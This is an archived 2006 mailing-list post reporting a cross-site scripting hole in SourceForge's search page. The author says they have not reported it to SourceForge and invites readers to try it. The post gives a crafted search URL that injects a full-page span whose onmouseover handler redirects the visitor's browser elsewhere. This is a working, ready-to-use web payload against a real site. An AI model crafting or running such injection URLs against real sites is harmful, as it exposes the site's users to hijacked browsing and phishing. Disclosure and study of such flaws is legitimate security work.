Sourceforge.net XSS

From: <the.spikey_at_gmail.com>
Date: 9 Apr 2006 18:13:31 -0000

('binary' encoding is not supported, stored as-is) Hey guys,
I found this kind of 'hole' in sf.net, you can exucute some code, not all.(i.e. you cannot use a / )
I have not reported this yet, i'm sorry :+

Try it out:

http://sourceforge.net/search/?type_of_search=soft&forum_id=0&group_id=0&atid=0&words=<span style="position: fixed; top: 0px; left: 0px; color: red; width: 1000px; height: 1000px" onmouseOver="javascript:window.location='http://www.google.nl'">&Search=Search

Spiked
www.geekshangout.org
Received on Apr 09 2006